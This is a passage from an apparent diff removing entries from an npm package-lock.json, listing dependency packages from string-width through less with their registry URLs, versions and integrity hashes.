"https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=", - "dev": true, - "dependencies": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/inquirer/node_modules/strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "dependencies": { - "ansi-regex": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/inquirer/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/insert-module-globals": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/insert-module-globals/-/insert-module-globals-7.2.0.tgz", - "integrity": "sha512-VE6NlW+WGn2/AeOMd496AHFYmE7eLKkUY6Ty31k4og5vmA3Fjuwe9v6ifH6Xx/Hz27QvdoMoviw1/pqWRB09Sw==", - "dev": true, - "dependencies": { - "acorn-node": "^1.5.2", - "combine-source-map": "^0.8.0", - "concat-stream": "^1.6.1", - "is-buffer": "^1.1.0", - "JSONStream": "^1.0.3", - "path-is-absolute": "^1.0.1", - "process": "~0.11.0", - "through2": "^2.0.0", - "undeclared-identifiers": "^1.1.2", - "xtend": "^4.0.0" - }, - "bin": { - "insert-module-globals": "bin/cmd.js" - } - }, - "node_modules/insert-module-globals/node_modules/concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "engines": [ - "node >= 0.8" - ], - "dependencies": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, - "node_modules/interpret": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz", - "integrity": "sha1-ftGxQQxqDg94z5XTuEQMY/eLhhQ=", - "dev": true - }, - "node_modules/invariant": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", - "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", - "dependencies": { - "loose-envify": "^1.0.0" - } - }, - "node_modules/invert-kv": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-absolute-url": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-2.1.0.tgz", - "integrity": "sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", - "dev": true - }, - "node_modules/is-binary-path": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", - "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", - "dev": true, - "dependencies": { - "binary-extensions": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-buffer": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.5.tgz", - "integrity": "sha1-Hzsm72E7IUuIy8ojzGwB2Hlh7sw=", - "deprecated": "This version of 'is-buffer' is out-of-date. You must update to v1.1.6 or newer", - "dev": true - }, - "node_modules/is-builtin-module": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", - "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", - "dev": true, - "dependencies": { - "builtin-modules": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-callable": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.4.tgz", - "integrity": "sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==", - "dev": true, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/is-color-stop": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-color-stop/-/is-color-stop-1.1.0.tgz", - "integrity": "sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=", - "dev": true, - "dependencies": { - "css-color-names": "^0.0.4", - "hex-color-regex": "^1.1.0", - "hsl-regex": "^1.0.0", - "hsla-regex": "^1.0.0", - "rgb-regex": "^1.0.1", - "rgba-regex": "^1.0.0" - } - }, - "node_modules/is-core-module": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.3.0.tgz", - "integrity": "sha512-xSphU2KG9867tsYdLD4RWQ1VqdFl4HTO9Thf3I/3dLEfr0dbPTWKsuCKrgqMljg4nPE+Gq0VCnzT3gr0CyBmsw==", - "dev": true, - "dependencies": { - "has": "^1.0.3" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-date-object": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.1.tgz", - "integrity": "sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=", - "dev": true, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "dependencies": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-descriptor/node_modules/kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-directory": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/is-directory/-/is-directory-0.3.1.tgz", - "integrity": "sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-dotfile": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.3.tgz", - "integrity": "sha1-pqLzL/0t+wT1yiXs0Pa4PPeYoeE=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-equal-shallow": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz", - "integrity": "sha1-IjgJj8Ih3gvPpdnqxMRdY4qhxTQ=", - "dev": true, - "dependencies": { - "is-primitive": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-expression": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-expression/-/is-expression-4.0.0.tgz", - "integrity": "sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==", - "dev": true, - "dependencies": { - "acorn": "^7.1.1", - "object-assign": "^4.1.1" - } - }, - "node_modules/is-extendable": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-extglob": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", - "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-finite": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz", - "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", - "dev": true, - "dependencies": { - "number-is-nan": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, - "dependencies": { - "number-is-nan": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-glob": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", - "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", - "dev": true, - "dependencies": { - "is-extglob": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-number": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz", - "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", - "integrity": "sha1-PkcprB9f3gJc19g6iW2rn09n2w8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-path-cwd": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-1.0.0.tgz", - "integrity": "sha1-0iXsIxMuie3Tj9p2dHLmLmXxEG0=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-path-in-cwd": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.1.tgz", - "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==", - "dev": true, - "dependencies": { - "is-path-inside": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-path-inside": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz", - "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", - "dev": true, - "dependencies": { - "path-is-inside": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-plain-obj": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", - "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-plain-object": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", - "integrity": "sha1-LBY7P6+xtgbZ0Xko8FwqHDjgdnc=", - "dev": true, - "dependencies": { - "isobject": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-plain-object/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-posix-bracket": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz", - "integrity": "sha1-MzTceXdDaOkvAW5vvAqI9c1ua8Q=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-primitive": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", - "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-promise": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.1.0.tgz", - "integrity": "sha1-eaKp7OfwlugPNtKy87wWwf9L8/o=", - "dev": true - }, - "node_modules/is-regex": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.4.tgz", - "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", - "dev": true, - "dependencies": { - "has": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/is-resolvable": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz", - "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==", - "dev": true - }, - "node_modules/is-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-svg": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-2.1.0.tgz", - "integrity": "sha1-z2EJDaDZ77yrhyLeum8DIgjbsOk=", - "dev": true, - "dependencies": { - "html-comment-regex": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-symbol": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.1.tgz", - "integrity": "sha1-PMWfAAJRlLarLjjbrmaJJWtmBXI=", - "dev": true, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/is-typedarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", - "dev": true - }, - "node_modules/is-utf8": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", - "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", - "dev": true - }, - "node_modules/is-windows": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", - "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-wsl": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz", - "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "dev": true - }, - "node_modules/isobject": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", - "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", - "dev": true, - "dependencies": { - "isarray": "1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/isomorphic-fetch": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", - "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", - "dev": true, - "dependencies": { - "node-fetch": "^1.0.1", - "whatwg-fetch": ">=0.10.0" - } - }, - "node_modules/isstream": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", - "dev": true - }, - "node_modules/jed": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/jed/-/jed-1.1.1.tgz", - "integrity": "sha1-elSbvZ/+FYWwzQoZHiAwVb7ldLQ=", - "dev": true - }, - "node_modules/jquery": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.3.1.tgz", - "integrity": "sha512-Ubldcmxp5np52/ENotGxlLe6aGMvmF4R8S6tZjsP6Knsaxd/xp3Zrh50cG93lR6nPXyUFwzN3ZSOQI0wRJNdGg==" - }, - "node_modules/jquery-timepicker": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/jquery-timepicker/-/jquery-timepicker-1.3.3.tgz", - "integrity": "sha1-A0FgyQpSYZ32iWPtp2JdH8qJy3o=", - "dependencies": { - "jquery": ">= 1.4.3" - }, - "engines": { - "node": ">= 0.6.0" - } - }, - "node_modules/js-base64": { - "version": "2.4.5", - "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.4.5.tgz", - "integrity": "sha512-aUnNwqMOXw3yvErjMPSQu6qIIzUmT1e5KcU1OZxRDU1g/am6mzBvcrmLAYwzmB59BHPrh5/tKaiF4OPhqRWESQ==", - "dev": true - }, - "node_modules/js-beautify": { - "version": "1.10.1", - "resolved": "https://registry.npmjs.org/js-beautify/-/js-beautify-1.10.1.tgz", - "integrity": "sha512-4y8SHOIRC+/YQ2gs3zJEKBUraQerq49FJYyXRpdzUGYQzCq8q9xtIh0YXial1S5KmonVui4aiUb6XaGyjE51XA==", - "dev": true, - "dependencies": { - "config-chain": "^1.1.12", - "editorconfig": "^0.15.3", - "glob": "^7.1.3", - "mkdirp": "~0.5.1", - "nopt": "~4.0.1" - }, - "bin": { - "css-beautify": "js/bin/css-beautify.js", - "html-beautify": "js/bin/html-beautify.js", - "js-beautify": "js/bin/js-beautify.js" - } - }, - "node_modules/js-beautify/node_modules/glob": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", - "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/js-beautify/node_modules/nopt": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-4.0.1.tgz", - "integrity": "sha1-0NRoWv1UFRk8jHUFYC0NF81kR00=", - "dev": true, - "dependencies": { - "abbrev": "1", - "osenv": "^0.1.4" - }, - "bin": { - "nopt": "bin/nopt.js" - } - }, - "node_modules/js-stringify": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", - "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds=", - "dev": true - }, - "node_modules/js-tokens": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz", - "integrity": "sha1-mGbfOVECEw449/mWvOtlRDIJwls=" - }, - "node_modules/js-yaml": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.7.0.tgz", - "integrity": "sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=", - "dev": true, - "dependencies": { - "argparse": "^1.0.7", - "esprima": "^2.6.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/js2xmlparser": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-3.0.0.tgz", - "integrity": "sha1-P7YOqgicVED5MZ9RdgzNB+JJlzM=", - "dev": true, - "dependencies": { - "xmlcreate": "^1.0.1" - } - }, - "node_modules/jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", - "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", - "dev": true, - "optional": true - }, - "node_modules/jsesc": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-1.3.0.tgz", - "integrity": "sha1-RsP+yMGJKxKwgz25vHYiF226s0s=", - "dev": true, - "bin": { - "jsesc": "bin/jsesc" - } - }, - "node_modules/json-loader": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/json-loader/-/json-loader-0.5.7.tgz", - "integrity": "sha512-QLPs8Dj7lnf3e3QYS1zkCo+4ZwqOiF9d/nZnYozTISxXWCfNs9yuky5rJw4/W34s7POaNlbZmQGaB5NiXCbP4w==", - "dev": true - }, - "node_modules/json-parse-better-errors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", - "dev": true - }, - "node_modules/json-schema": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", - "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", - "dev": true - }, - "node_modules/json-schema-traverse": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", - "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", - "dev": true - }, - "node_modules/json-stable-stringify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-0.0.1.tgz", - "integrity": "sha1-YRwj6BTbN1Un34URk9tZ3Sryf0U=", - "dev": true, - "dependencies": { - "jsonify": "~0.0.0" - } - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", - "dev": true - }, - "node_modules/json-stringify-safe": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", - "dev": true - }, - "node_modules/json2php": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/json2php/-/json2php-0.0.4.tgz", - "integrity": "sha1-a9haHdpqXdfpECK7JEA8wbfC7jQ=", - "dev": true - }, - "node_modules/json5": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-0.5.1.tgz", - "integrity": "sha1-Hq3nrMASA0rYTiOWdn6tn6VJWCE=", - "dev": true, - "bin": { - "json5": "lib/cli.js" - } - }, - "node_modules/jsonfile": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", - "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", - "dev": true, - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, - "node_modules/jsonify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", - "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/jsonparse": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", - "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=", - "dev": true, - "engines": [ - "node >= 0.2.0" - ] - }, - "node_modules/JSONStream": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.3.tgz", - "integrity": "sha512-3Sp6WZZ/lXl+nTDoGpGWHEpTnnC6X5fnkolYZR6nwIfzbxxvA8utPWe1gCt7i0m9uVGsSz2IS8K8mJ7HmlduMg==", - "dev": true, - "dependencies": { - "jsonparse": "^1.2.0", - "through": ">=2.2.7 <3" - }, - "bin": { - "JSONStream": "bin.js" - }, - "engines": { - "node": "*" - } - }, - "node_modules/jsprim": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", - "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", - "dev": true, - "engines": [ - "node >=0.6.0" - ], - "dependencies": { - "assert-plus": "1.0.0", - "extsprintf": "1.3.0", - "json-schema": "0.2.3", - "verror": "1.10.0" - } - }, - "node_modules/jstransformer": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", - "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=", - "dev": true, - "dependencies": { - "is-promise": "^2.0.0", - "promise": "^7.0.1" - } - }, - "node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/labeled-stream-splicer": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/labeled-stream-splicer/-/labeled-stream-splicer-2.0.1.tgz", - "integrity": "sha512-MC94mHZRvJ3LfykJlTUipBqenZz1pacOZEMhhQ8dMGcDHs0SBE5GbsavUXV7YtP3icBW17W0Zy1I0lfASmo9Pg==", - "dev": true, - "dependencies": { - "inherits": "^2.0.1", - "isarray": "^2.0.4", - "stream-splicer": "^2.0.0" - } - }, - "node_modules/labeled-stream-splicer/node_modules/isarray": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.4.tgz", - "integrity": "sha512-GMxXOiUirWg1xTKRipM0Ek07rX+ubx4nNVElTJdNLYmNO/2YrDkgJGw9CljXn+r4EWiDQg/8lsRdHyg2PJuUaA==", - "dev": true - }, - "node_modules/last-call-webpack-plugin": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz", - "integrity": "sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w==", - "dev": true, - "dependencies": { - "lodash": "^4.17.5", - "webpack-sources": "^1.1.0" - } - }, - "node_modules/lazy-cache": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz", - "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/lazystream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.0.tgz", - "integrity": "sha1-9plf4PggOS9hOWvolGJAe7dxaOQ=", - "dev": true, - "dependencies": { - "readable-stream": "^2.0.5" - }, - "engines": { - "node": ">= 0.6.3" - } - }, - "node_modules/lcid": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", - "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "dev": true, - "dependencies": { - "invert-kv": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/less": { - "version": "3.7.1", - "resolved": "https://registry.npmjs.org/less/-/less-3.7.1.tgz", - "integrity": 